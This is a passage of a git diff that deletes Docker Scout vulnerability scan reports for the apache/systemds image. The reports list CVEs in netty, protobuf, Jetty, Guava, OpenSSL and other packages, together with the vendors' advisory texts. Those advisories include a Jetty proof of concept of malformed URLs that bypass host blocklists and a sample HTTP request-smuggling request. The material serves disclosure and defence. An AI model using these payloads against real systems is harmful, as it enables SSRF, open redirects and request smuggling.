diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/medium-cves/sysds_output14.md b/docker/scout_results/medium-cves/sysds_output14.md deleted file mode 100644 index 3eddedb28de..00000000000 --- a/docker/scout_results/medium-cves/sysds_output14.md +++ /dev/null @@ -1,1018 +0,0 @@ - i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli - ✓ Image stored for indexing - ✓ Indexed 357 packages - ✓ Provenance obtained from attestation - ✗ Detected 12 vulnerable packages with a total of 31 vulnerabilities - ✓ Report written to docker/scout_results/medium-cves/sysds_output14.md -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:b860f476b3efe36e9715ebe63ed33a4b165345645b0b725c45b57d9d9e0d313e
vulnerabilitiescritical: 1 high: 9 medium: 16 low: 4 unspecified: 1
platformlinux/amd64
size370 MB
packages357
-
- - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
